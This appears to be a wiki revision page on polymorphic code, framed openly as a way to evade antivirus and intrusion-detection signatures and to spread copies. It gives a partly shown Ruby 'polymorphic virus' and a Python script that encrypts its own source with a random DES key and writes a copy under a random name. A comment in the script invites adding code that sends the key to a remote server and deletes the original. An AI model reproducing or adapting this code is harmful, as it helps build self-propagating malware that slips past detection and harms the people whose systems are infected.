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Difference between revisions of "Polymorphic"
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| − | + | '''Adj. referring to self-modifying code.''' ''Did you mean: [[Shellcode/Self-modifying|polymorphic shellcode]]?'' | |
| − | Adj. referring to self-modifying code. | + | == Reasons to write polymorphic code == |
| + | The main reason to write polymorphic code is to avoid being [[Cryptography#Hashes|hashwise identified]], or to have [[programming|code]] [[cryptography|signature]] detected, i.e. [[IDS]] or anti-virus [[countermeasures]] may not identify the payload, as it is nicely wrapped-up in its own [[cryptography|encrypted form]]. Another reason is to propagate it to multiple copies without having the same signature. Many legitimate software vendors also produce polymorphic [[binary|binaries]] to protect their [[application]]s from software cracking and reverse engineering. When writing [[shellcode]], polymorphism is utilized to create [[ascii shellcode]] and [[alphanumeric shellcode]] due to the restrictive instruction set. To get started with writing '''polymorphic shellcode''', see the [[introduction to printable 32-bit x86 polymorphic shellcode]]. | ||
| − | = | + | == Techniques of polymorphic code writing == |
| − | + | * Define a stackable set of encrypting/decrypting functions, preferrably working with an encryption key. Let's call these sets d and e (decryption / encryption), and let there be two integers n, m, n > m so that d[n](d[n-1](...(d[m](e[n](e[n-1](...e[m](code))...) == code | |
| − | + | {{quote|You can write a single function or pair of functions and have them vary with a series of keys (outputted by a deterministic key generator ideally), as long as your encryption remains revertable.|Savitri}} | |
| − | |||
| − | |||
| − | |||
| − | = Example in | + | * Write the payload code to be dissimulated. At the end of this code put a bootstrap that will decrypt and run the code (in [[PHP]]/[[ruby]]/[[perl]]/whatnot, eval() it, in [[C]], [[Buffer Overflows|smash the stack]] with it, in C#, use reflection). At the beginning of the payload code, call for the encryption/duplication code. |
| + | |||
| + | == Example in [[ruby]] == | ||
| − | == pv.rb (polymorphic virus) == | + | === pv.rb (polymorphic virus) === |
{{code | text=<syntaxhighlight lang="ruby"> | {{code | text=<syntaxhighlight lang="ruby"> | ||
#!/usr/bin/env ruby1.9.1 | #!/usr/bin/env ruby1.9.1 | ||
| Line 53: | Line 53: | ||
</syntaxhighlight>}} | </syntaxhighlight>}} | ||
| − | == md.rb (utility functions) == | + | === md.rb (utility functions) === |
| + | |||
{{code | text=<syntaxhighlight lang="ruby"> | {{code | text=<syntaxhighlight lang="ruby"> | ||
require 'base64'; | require 'base64'; | ||
| Line 78: | Line 79: | ||
MD_LOADED=true | MD_LOADED=true | ||
end | end | ||
| − | }} | + | |
| + | </syntaxhighlight>}} | ||
| + | |||
| + | == Example in [[python]] == | ||
| + | |||
| + | {{info| The following example requires pyDes, which can be found [http://pydes.sourceforge.net/ Here] }} | ||
| + | === poly.py === | ||
| + | |||
| + | |||
| + | {{code|text=<source lang="python"> | ||
| + | #a simple example of a program that replicates and encrypts itself, thus adding a layer of obfuscation / evasion from string matched detectors | ||
| + | #When executed, it executes some code then it generates a new encryption key, encrypts itself and writes it to a new file | ||
| + | #with a randomly generated name [then sends the filename and encryption key to a remote server] | ||
| + | |||
| + | import random | ||
| + | import string | ||
| + | import pyDes | ||
| + | import time | ||
| + | import binascii | ||
| + | |||
| + | #code to execute before self propagation goes here | ||
| + | |||
| + | N = 8 #8 digit key | ||
| + | key = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #keygen random | ||
| + | obj = pyDes.des(key, pad=b'\0') #generate an object encrypted with key | ||
| + | fd = open('poly.py', 'r') #open this file for reading | ||
| + | payload = fd.read() #load the entire contents into a variable | ||
| + | encrypted = obj.encrypt(payload, pad=b'\0') #encrypt the payload file | ||
| + | N = 10 # 10 digit file name | ||
| + | filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #filename random | ||
| + | new_fd = open(filename, 'w') #create a new file with the filename we just generated. edit this to change directory | ||
| + | encrypted = binascii.b2a_hex(encrypted) | ||
| + | new_fd.write(str(encrypted)) #write the encrypted program to our new file | ||
| + | |||
| + | #put code to securely transmit your filename + key here! you can also put here code to delete the original | ||
| + | </source>}} | ||
| + | {{Warning| This snippet of code implements the pyDes module, which is a third-party module that implements the DES encryption standard. For more information on third-party modules, see [[Python#Third-Party_and_Custom_Modules|the Python article]].}} | ||
| + | |||
| + | {{programming}}{{countermeasures}}{{social}} | ||
Latest revision as of 04:29, 13 May 2013
Adj. referring to self-modifying code. Did you mean: polymorphic shellcode?
Contents
Reasons to write polymorphic code
The main reason to write polymorphic code is to avoid being hashwise identified, or to have code signature detected, i.e. IDS or anti-virus countermeasures may not identify the payload, as it is nicely wrapped-up in its own encrypted form. Another reason is to propagate it to multiple copies without having the same signature. Many legitimate software vendors also produce polymorphic binaries to protect their applications from software cracking and reverse engineering. When writing shellcode, polymorphism is utilized to create ascii shellcode and alphanumeric shellcode due to the restrictive instruction set. To get started with writing polymorphic shellcode, see the introduction to printable 32-bit x86 polymorphic shellcode.
Techniques of polymorphic code writing
- Define a stackable set of encrypting/decrypting functions, preferrably working with an encryption key. Let's call these sets d and e (decryption / encryption), and let there be two integers n, m, n > m so that d[n](d[n-1](...(d[m](e[n](e[n-1](...e[m](code))...) == code
| Savitri says |
|---|
| You can write a single function or pair of functions and have them vary with a series of keys (outputted by a deterministic key generator ideally), as long as your encryption remains revertable. |
- Write the payload code to be dissimulated. At the end of this code put a bootstrap that will decrypt and run the code (in PHP/ruby/perl/whatnot, eval() it, in C, smash the stack with it, in C#, use reflection). At the beginning of the payload code, call for the encryption/duplication code.
Example in ruby
pv.rb (polymorphic virus)
|
<syntaxhighlight lang="ruby">
if (!defined?(FILE)) FILE=File.basename(__FILE__) end load "md.rb";
def selfCopy(key) code = "" newkey = deterministicKeygen(key); File.open(FILE, "r").each_line do |
md.rb (utility functions)
|
<syntaxhighlight lang="ruby"> require 'base64'; if (!defined?(MD_LOADED)) def deterministicKeygen(theKey) r = Random.new(theKey.to_i);
return r.rand(3)+3;
end def mencrypt(str, theKey) k = deterministicKeygen(theKey)
k.times do
str = Base64.encode64(str)
end
return str
end def mdecrypt(str, theKey) k = deterministicKeygen(theKey)
k.times do
str = Base64.decode64(str)
end
return str
end MD_LOADED=true end </syntaxhighlight> |
Example in python
|
The following example requires pyDes, which can be found Here |
poly.py
#a simple example of a program that replicates and encrypts itself, thus adding a layer of obfuscation / evasion from string matched detectors #When executed, it executes some code then it generates a new encryption key, encrypts itself and writes it to a new file #with a randomly generated name [then sends the filename and encryption key to a remote server] import random import string import pyDes import time import binascii #code to execute before self propagation goes here N = 8 #8 digit key key = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #keygen random obj = pyDes.des(key, pad=b'\0') #generate an object encrypted with key fd = open('poly.py', 'r') #open this file for reading payload = fd.read() #load the entire contents into a variable encrypted = obj.encrypt(payload, pad=b'\0') #encrypt the payload file N = 10 # 10 digit file name filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #filename random new_fd = open(filename, 'w') #create a new file with the filename we just generated. edit this to change directory encrypted = binascii.b2a_hex(encrypted) new_fd.write(str(encrypted)) #write the encrypted program to our new file #put code to securely transmit your filename + key here! you can also put here code to delete the original |
|
This snippet of code implements the pyDes module, which is a third-party module that implements the DES encryption standard. For more information on third-party modules, see the Python article. |
Polymorphic is part of a series on programming.
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